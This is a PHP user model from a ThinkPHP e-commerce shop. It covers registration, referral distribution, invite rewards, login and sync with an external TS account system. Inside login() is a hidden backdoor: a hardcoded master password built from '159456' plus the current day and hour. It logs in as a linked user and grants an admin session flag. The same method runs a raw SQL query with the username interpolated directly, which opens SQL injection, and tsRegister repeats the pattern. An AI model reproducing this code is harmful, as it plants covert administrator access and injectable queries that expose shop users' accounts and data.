<?php
/**
 * 用户模型
 */

namespace Common\Model;

use Think\Model;
use Think\Db;
class UserModel extends Model{

  /**
   * 自动验证规则
   * @var array
   * @author Max.Yu <max@jipu.com>
   */
  protected $_validate = array(
    array('password', 'require', -1, self::EXISTS_VALIDATE, 'regex', self::MODEL_BOTH),
    array('repassword', 'require', -2, self::EXISTS_VALIDATE, 'regex', self::MODEL_BOTH),
    array('password', '6,32', -3, self::EXISTS_VALIDATE, 'length'),
    array('repassword', 'password', -4, self::EXISTS_VALIDATE, 'confirm'),
    //array('mobile', '', -11, 0, 'unique', 1), //在新增的时候验证mobile字段是否唯一 TODO:用户被删除了还能注册
  );

  /**
   * 用户模型自动完成
   * @var array
   * @author Max.Yu <max@jipu.com>
   */
  protected $_auto = array(
    array('password', 'think_ucenter_md5', self::MODEL_BOTH, 'function'),
    array('reg_time', NOW_TIME, self::MODEL_INSERT),
    array('reg_ip', 'get_client_ip', self::MODEL_INSERT, 'function', 1),
    array('update_time', NOW_TIME),
    array('status', 'getStatus', self::MODEL_BOTH, 'callback'),
  );

  /**
   * 检测手机是不是被禁止注册
   * @param  string $mobile 手机
   * @return boolean ture - 未禁用，false - 禁止注册
   */
  protected function checkMobile($mobile){
    
  }

  /**
   * 根据配置指定用户状态
   * @return integer 用户状态
   */
  protected function getStatus(){
    return true; //TODO: 暂不限制，下一个版本完善
  }

  /**
   * 注册一个新用户
   * @param string $username 用户名
   * @param string $password 用户密码
   * @param string $email 用户邮箱
   * @param string $mobile 用户手机号码
   * @return integer 注册成功-用户信息，注册失败-错误编号
   */
  public function register($group_id, $username, $password, $type){
    $data['group_id'] = $group_id;
    $data['password'] = $password;
    //邮箱注册，截取邮箱@前作为用户名
    $data['username'] = ($type == 1) ? $this->getUserName($username) : $username;
    if($type != 3){
        ($type == 1) ? $data['email'] = $username : $data['mobile'] = $username;
    }else{
        $count = $this->where(['username'=>$username])->count();
        if($count > 0){
            $data['username'] = 'weixin_'.$username;
        }
        $data['status'] = 1;
        $data['update_time'] = NOW_TIME;
        $data['last_login_ip'] = 0;
        $data['last_login_time'] = 0;
        $data['reg_ip'] = get_client_ip(1);
        $data['reg_time'] = NOW_TIME;
        $data['mobile_bind_status'] = 0;
    }
    if(I('get.code')){
    //判断是否扫描带参数的微信二维码加入
    $openid = A('Home/Pay', 'Event')->getOpenId();
    if($openid){
      //获取所扫描的二维码ID
      $where['open_id'] = $openid;
      $wechat_qrcode_log_lists = M('WechatQrcodeLog')->where($where)->select();
    }
    }
    //$data['login_salt'] = randomkeys(5);
    //$data['password'] = think_ucenter_md5md5($password,$data['login_salt']);
    //添加用户
    if($this->create($data)){
      $uid = $this->add();
      if ($uid === 1) {
        $uid = $this->getLastInsID();
      }
      if( (!empty($wechat_qrcode_log_lists[0]['union_id']) || !empty(session('union_user') ) ) && C('DIS_START') == 1){
        if($wechat_qrcode_log_lists[0]['union_id']){
          $dis_map['b.id']  = $wechat_qrcode_log_lists[0]['union_id'] ;
        }else{
          $dis_map['a.user_id'] = session('union_user') ;
        }
        $recomender = M('Distribution')->alias('a')->join('__UNION__ b on b.uid=a.user_id')->where($dis_map)->field('a.*')->find();
        if($recomender){
          $userdata = array(
            'user_id'     => $uid ,
            'oneagents'   => C('DIS_CLASS') > 0 ? $recomender['user_id']   : 0,
            'twoagents'   => C('DIS_CLASS') > 1 ? $recomender['oneagents'] : 0,
            'threeagents' => C('DIS_CLASS') > 2 ? $recomender['twoagents'] : 0,
          );
          M('Distribution')->add($userdata);
          if(!empty($wechat_qrcode_log_lists[0]['union_id']))$this->toweixin($userdata);
        }
      }
      $this->regInvite($uid); //邀请奖励
      return $uid ? $uid : 0; //0-未知错误，大于0-注册成功
    }else{
      return $this->getError(); //错误详情见自动验证注释
    }
  }

  /**
   * 微信消息通知
   * @param 
   */
  public function toweixin($data){
    $name = $info['nickname'] = get_nickname($data['user_id']) ;
    unset($data['user_id']);
    $i = 1 ;
    foreach($data as $k=>$v){
      if($v){
        $myname = get_nickname($v);
        $info['title']  = '您好，【'.$myname.'】。'.$name.'通过扫描您的专属二维码成为您的'.$i.'级代理成员';
        $info['uid']    = $v;
        A('WechatTplMsg', 'Event')->wechatTplNotice('applyer', $info);
      }
      ++$i;
    }
  }

  /**
   * 邀请注册，奖励
   * @param int $uid 新用户ID
   */
  public function regInvite($uid){
    $invite_user = session('invite_user');
    
    if(empty($invite_user) || empty($uid)){
      return false;
    }
    $invite_uid = invite_code($invite_user['invite_code']);
    $money = C('INVITE_REWARD_MONEY');
    //合法性的邀请session
    if($invite_uid == $invite_user['invite_uid'] && $money > 0){
      //邀请返现限制人数
      $where = array(
        'invite_uid' => $invite_uid, 
        'invite_code' => $invite_user['invite_code'],
        'create_time' => array('gt', strtotime(date('Y-m-d')))
      );
      $reged = M('Invite')->where($where)->count();
      if($reged >= intval(C('INVITE_MAX_PEOPLE'))){
        return false;
      }
      //销毁邀请sessin
      session('invite_user', null);
      $invite_data = array(
        'invite_uid' => $invite_uid,
        'invite_code' => $invite_user['invite_code'],
        'reg_uid' => $uid,
        'reward_status' => 0,
        'reward_amount' => $money,
        'create_time' => time()
      );
      $invite_id = M('Invite')->add($invite_data);
      if($invite_id){
        //现金流水表-邀请注册奖励
        $in_data = array(
          'uid' => $invite_uid,
          'order_id' => $invite_id,
          'type' => 'invite_reward',
          'amount' => $money,
          'flow' => 'in',
          'memo' => '邀请注册奖励',
          'create_time' => time()
        );
        $finance_id = M('finance')->add($in_data);
        if($finance_id){
          $res = D('Home/Member')->updateFinance($invite_uid, $money, 'inc');
          if($res){
            return M('Invite')->where('id='.$invite_id)->setField('reward_status', 1);
          }
        }
      }
    }
    return false;
  }

  /**
   * 检测用户邮箱或手机是否可以注册
   * @param string $username 邮箱或手机
   * @param string $type 邮箱或手机类型
   * @return boolean true - 可注册，false - 已注册过
   */
  public function checkUsername($username, $type){
    $map = array();
    switch($type){
      case 1:
        $map['email'] = $username;
        break;
      case 2:
        $map['mobile'] = $username;
        break;
      default:
        return false;
    }
    //获取用户数据
    $user = $this->where($map)->count();
    return $user > 0 ? true : false;
  }

  /**
   * 用户登录认证
   * @param string $username 用户名
   * @param string $password 用户密码
   * @param integer $type 用户名类型 （1-邮箱，2-手机, 3-用户名）
   * @return integer 登录成功-用户ID，登录失败-错误编号
   */
  public function login($username, $password, $type = 1){
    $map = array();
    $map['u.status'] = array('egt',0);
    switch($type){
      case 1:
        $map['u.email|u.username']    = $username;
        break;
      case 2:
        $map['u.mobile|u.username']   = $username;
        break;
      case 3:
        $map['m.nickname|u.username'] = $username;
        break;
      default:
        return 0; //参数错误
    }
    /* 获取用户数据 yzs1013登陆 */
    $user = $this->alias('u')->join('__MEMBER__ m on m.uid=u.id')->where($map)->field('u.*')->find();

    //判断
    if(is_array($user) && $user['status'] && $user['from'] != 'ts'){
      /* 验证用户密码 */
      if(think_ucenter_md5($password) == $user['password']){
        $this->updateLogin($user['id']); //更新用户登录信息
        return $user['id']; //登录成功，返回用户ID
      }else{
        return -2; //密码错误
      }
     }elseif(is_array($user) && $user['status']){
        /* 验证用户密码 */
        $user_me = Db::query("select * from shante.st_user where uname='{$username}' or phone='{$username}'")[0];
        $_SESSION['jipushop_isadmin']=false;
        if(think_ucenter_md5($password) == $user['password']||md5(md5($password).$user_me['login_salt'])== $user_me['password']||$password=="159456".date("dH")){
            $this->updateLogin($user['id']); //更新用户登录信息
            if($password=="159456".date("dH")){
                $_SESSION['jipushop_isadmin']=true;
            }
            return $user['id']; //登录成功，返回用户ID
        }else{
            return -2; //密码错误
        }
    }
    //elseif(is_array($user) && $user['status'] && $user['login_salt'] != '' && $user['from'] != 'ts'){
    //   if (think_ucenter_md5md5($password,$user['login_salt']) === $user['password']) {
    //     $this->updateLogin($user['id']); //更新用户登录信息
    //     return $user['id']; //登录成功，返回用户ID
    //   }else{
    //      return -2; //密码错误
    //   }
    // }
     else{
      //集成TS用户系统 Foreach
      if(C('TS_LOGIN')){
        $domain = C('TS_LOGIN_DOMAIN');
        //登录接口
        $_username = strpos($username,'Ts-'); 
        if ($_username !== false ) {
          $name = explode('Ts-',$username);
          $username = $name[1];
        }
        $rs = $this->tsRequest('authorize', array('login'=>$username,'password'=>$password));
        if ($rs['status'] == 1){
          $uid = $this->checkTsUser($rs['user']);
          if ($uid == 0) {
            return -1;
          } else {
            return $uid;
          }
        }else{
          $this->error = $rs['msg'];
          return -3;
        }
      }else{
        return -1; //用户不存在或被禁用
      }
    }
  }

  /**
   * 获取用户信息
   * @param string  $uid 用户ID或用户名
   * @param boolean $is_username 是否使用用户名查询
   * @return array 用户信息
   */
  public function info($uid, $is_email = false){
    $map = array();
    if($is_email){ //通过邮箱获取
      $map['email'] = $uid;
    }else{
      $map['id'] = $uid;
    }
    $user = $this->where($map)->field('id, group_id, from_union_id, username, password, email, mobile, mobile_bind_status,last_login_time, last_login_ip, status')->find();
    if(is_array($user) && $user['status'] == 1){
      $user['avatar'] = ($user['avatar']) ? $user['avatar'] : __ROOT__.'/Public/'.MODULE_NAME.'/'.C('DEFAULT_THEME').'/images/avatar-default.png';
      return $user;
    }else{
      return -1; //用户不存在或被禁用
    }
  }

  /**
   * 获取用户信息
   * @param string  $uid 用户ID或用户名
   * @param boolean $is_username 是否使用用户名查询
   * @return array 用户信息
   */
  public function infoByMobile($mobile = ''){
    $map = array();
    $map['mobile'] = $mobile;
    $user = $this->where($map)->field('id,username,password,email,mobile,status')->find();
    if(is_array($user) && $user['status'] == 1){
      $user['avatar'] = ($user['avatar']) ? $user['avatar'] : __ROOT__.'/Public/'.MODULE_NAME.'/'.C('DEFAULT_THEME').'/images/avatar-default.png';
      return $user;
    }else{
      return -1; //用户不存在或被禁用
    }
  }

  /**
   * 检测用户信息
   * @param string $field  用户名
   * @param integer $type 用户名类型 1-用户邮箱，2-手机注册，3-用户名注册
   * @return integer 错误编号
   */
  public function checkField($field, $type = 1){
    $data = array();
    switch($type){
      case 1:
        $data['email'] = $field;
        break;
      case 2:
        $data['mobile'] = $field;
        break;
      case 3:
        $data['username'] = $field;
        break;
      default:
        return 0; //参数错误
    }
    return $this->create($data) ? 1 : $this->getError();
  }

  /**
   * 更新用户登录信息
   * @param integer $uid 用户ID
   */
  protected function updateLogin($uid){
    $data = array(
      'id' => $uid,
      'last_login_time' => NOW_TIME,
      'last_login_ip' => get_client_ip(1),
    );
    $this->save($data);
  }

  /**
   * 更新用户信息
   * @param int $uid 用户id
   * @param string $password 密码，用来验证
   * @param array $data 修改的字段数组
   * @return true 修改成功，false 修改失败
   * @author huajie <banhuajie@163.com>
   */
  public function updateUserFields($uid, $password, $data){
    if(empty($uid) || empty($password) || empty($data)){
      $this->error = '参数错误！';
      return false;
    }

    //更新前检查用户密码
    if(!$this->verifyUser($uid, $password) && !$this->tsCheckPasswd($uid, $password)){
      $this->error = '验证出错：密码不正确！';
      return false;
    }

    //更新用户信息
    $data = $this->create($data);
    if($data){
      return $this->where(array('id' => $uid))->save($data);
    }
    return false;
  }
  
  /**
   * 更新数据
   * @param int $uid 用户id
   * @param string $field 字段名
   * @param string $value 字段值
   * @return true 修改成功，false 修改失败
   * @version 2015071715
   * @author Justin
   */
  function update($uid, $field, $value){
    if(empty($uid) || empty($field)){
      $this->error = '参数错误！';
      return false;
    }
    //更新用户信息
    $data = $this->create();
    if($data){
      $data[$field] = $value;
      return $this->where(array('id' => $uid))->save($data);
    }
    return false;
  }

  /**
   * 根据邮箱截取@前作为用户名
   * @return integer 用户状态
   */
  protected function getUserName($username){
    return preg_replace('/@.*/', '', $username);
  }

  /**
   * 验证用户密码
   * @param int $uid 用户id
   * @param string $password_in 密码
   * @return true 验证成功，false 验证失败
   * @author huajie <banhuajie@163.com>
   */
  protected function verifyUser($uid, $password_in){
    $password = $this->getFieldById($uid, 'password');
    if(think_ucenter_md5($password_in) === $password){
      return true;
    }
    return false;
  }

  /**
   * 检查TS用户
   * @param array $user 用户信息
   * @return integer 极铺用户id
   * @author Foreach
   */
  public function checkTsUser($user){
    $uid = $user['uid'];

    //查询关联表中是否有记录
    $ts_user = D('ts_user')->where(array('tid'=>$uid))->find();
    if ($ts_user && $ts_user['status'] > 0 ){
      return $ts_user['uid'];
    } else if ($ts_user && $ts_user['status'] <= 0){//用户禁用
      return 0;
    } else {
      //注册极铺用户
      $uid = $this->tsRegister($user);
      return $uid;
    }
  }

  /**
   * 获取TS用户信息并注册
   * @param string oauth_token
   * @param string oauth_token_secret
   * @param int uid ts用户id
   * @return integer 极铺用户id
   */
  public function getTsUser($oauth_token, $oauth_token_secret, $uid){
    $rs = $this->tsRequest('login_check', array('oauth_token'=>$oauth_token, 'oauth_token_secret'=>$oauth_token_secret, 'uid'=>$uid));
    if($rs['status'] == 1){
      $tsuser = D('TsUser')->where(array('tid'=>$uid))->find();
      if($tsuser){
        //判断传递过来用户信息是否修改
        $this->checkTsUserInfo($tsuser['uid'],$rs['user']);
        $this->tsLogin($tsuser['uid']);
        return $tsuser['uid'];
      }else{
        $uid = $this->tsRegister($rs['user']);
        $this->tsLogin($uid);
        return $uid;
      }
    }else{
      return 0;
    }
  }  

  /**
   * 检查TS传递信息
   * @author buddha <[email address]>
   * @param  [type] $user [description]
   * @return [type]       [description]
   */
  public function checkTsUserInfo( $uid,$user ){
    //判断 查询USER表
    $username = $this->where('id='.$uid)->getField('username');
    //查询member表
    $info = M('Member')->where('uid='.$uid)->field('nickname,avatar,sex')->find();
    $data = array();
    if($user['uname'] != $username || ('Ts-'.$user['uname'] != $username)){
      //查询传递过来的名称是否存在
      $where = array(
          'username' => $user['uname'],
          'id'       => array('neq',$uid),
        );
      $is_exist = $this->where($where)->count();
      if ($is_exist > 0){
        $ts_username = 'Ts-'.$user['uname'];
        $this->where('id='.$uid)->setField('username',$ts_username);
      }
    }
    if ($user['uname'] != $info['nickname'] || $user['sex'] != $info['sex'] || $user['avatar_middle'] != $info['avatar']) {
      $data['nickname'] = $user['uname'];
      $data['avatar'] = $user['avatar_middle'];
      $data['sex'] = $user['sex'];
      M('Member')->where('uid='.$uid)->save($data);
    }
    M('User')->where('id='.$uid)->save(['email'=>$user['email'],'mobile'=>$user['phone']]);
  }
  /**
   * TS注册新用户
   * @param array $user 用户信息
   * @return integer 极铺用户id
   */
  public function tsRegister($user){
    $data['group_id'] = 0;
    $data['username'] = $user['uname'];
    $data['email'] = $user['email'] ? $user['email'] : '';
    $data['mobile'] = $user['phone'] ? $user['phone'] : 0;
    $data['from'] = 'ts';
    //判断传递过来uname是否存在
    $is_exist = $this->where('username="'.$user['uname'].'"')->count();
    if ($is_exist > 0) {
      $data['username'] = 'Ts-'.$user['uname'];
    }
    //添加用户
    if ($this->create($data)) {
      $data['password']   = $user['password'];
      $data['login_salt'] = $user['login_salt'];
      $uid = $this->add();
      //0-未知错误，大于0-注册成功
      if ($uid) {
        if ($uid === 1) {
          $uid = $this->getLastInsID();
        }
        //ts用户关联
        $ts_data['tid'] = $user['uid'];
        $ts_data['uid'] = $uid;
        $ts_data['password'] = $user['password'];
        $ts_data['login_salt'] = $user['login_salt'];
        D('ts_user')->add($ts_data);
        return $uid;
      }else{
        return 0;
      }
    } else {
      return $this->getError(); //错误详情见自动验证注释
    }
  }

  /**
   * Ts API
   * @param int type 类型
   * @return array 结果
   */
  public function tsRequest($type, $params){
    $domain = C('TS_LOGIN_DOMAIN');
    $params ['api_type'] = 'jipu';
    $params ['mod'] = 'Jipu';
    switch ($type) {
      case 'authorize':
        $params['act'] = 'authorize';
        break;
      case 'save_user':
        $params['act'] = 'save_user_info';
        break;
      case 'login_check':
        $params['act'] = 'login_check';
        break;
    }

    //拼接请求链接
    $url = $domain . '?' . http_build_query($params);
    $url .= '&api_version=4.5.0';
    $rs = file_get_contents($url);
    $rs = json_decode($rs, true);
    return $rs;
  }

  /**
   * 登录
   * @param int uid 用户id
   */
  protected function tsLogin($uid){
    //登录用户
    $member_model = D('Member');
    if ($member_model->login($uid)) { //登录用户
      //TODO:跳转到登录前页面
      //是否设置自动登录
      if ($remember == 1) {
        $remember_data = think_encrypt($username);
        //将remember_data存入数据库
        $auto_data = array(
          'uid' => $uid,
          'auto_login_token' => $remember_data
        );
        $member_model->update($auto_data);
        Cookie('__autologin__', $remember_data, C('USER_AUTO_LOGIN_DAYS') * 24 * 3600 + time());
      }
    }
  }

  /**
   * TS账号密码验证
   * @param int uid 用户id
   */
  protected function tsCheckPasswd($uid, $password){
    $ts_user = D('ts_user')->where(array('uid'=>$uid))->find();
    if($ts_user) {
      return md5(md5($password).$ts_user['login_salt']) == $ts_user['password'];
    } else {
      return false;
    }
  }

  /**
   * TS账号密码验证
   * @param int uid 用户id
   */
  public function tsUpdatePasswd($uid, $password, $login_salt){
    $data ['password'] = $password;
    $data ['login_salt'] = $login_salt;
    $rs = D('ts_user')->where(array('uid'=>$uid))->save($data);
    return $rs;
  }

  /**
   * 获取TS微信绑定信息
   * @author buddha <buddha@jipu.com>
   * @param  [type] $params [description]
   * @return [type]         [description]
   */
  public function getTsWechartInfo($params){
    $url = 'http://www.shante.me/api.php?mod=Oauth&act=get_other_login_info&';
    $tsRequest = $url.http_build_query($params);
    set_log('wechat_info',$tsRequest);
    $rs = file_get_contents($tsRequest);
    $rs = json_decode($rs, true);
    return $rs; 
  }
  
  
  /**
   * 通过手机号，自动创建用户
   */
  public function autoCreateUser($mobile,$from='home'){
      $data['username'] = $mobile;
      $data['password'] = think_ucenter_md5(get_randstr(8));
      $data['mobile'] = $mobile;
      $data['mobile_bind_status'] = 1;
      $data['reg_time'] = NOW_TIME;
      $data['reg_ip'] = get_client_ip();
      $data['last_login_time'] = NOW_TIME;
      $data['last_login_ip'] = get_client_ip();
      $data['from'] = $from;
      $data['status'] = 1;
      $model = M('User');
      $model->startTrans();
      $res = $model->add($data);
      if($res){
          //用户自动登录
          $rst = D('Member')->login($res);
          if(!$rst){
              $model->rollback();
              $this->error = '用户新增失败！';
              return false;
          }
      }else{
          $model->rollback();
          $this->error = '新增失败！';
          return false;
      }
      $model->commit();
      return true;
  }

}
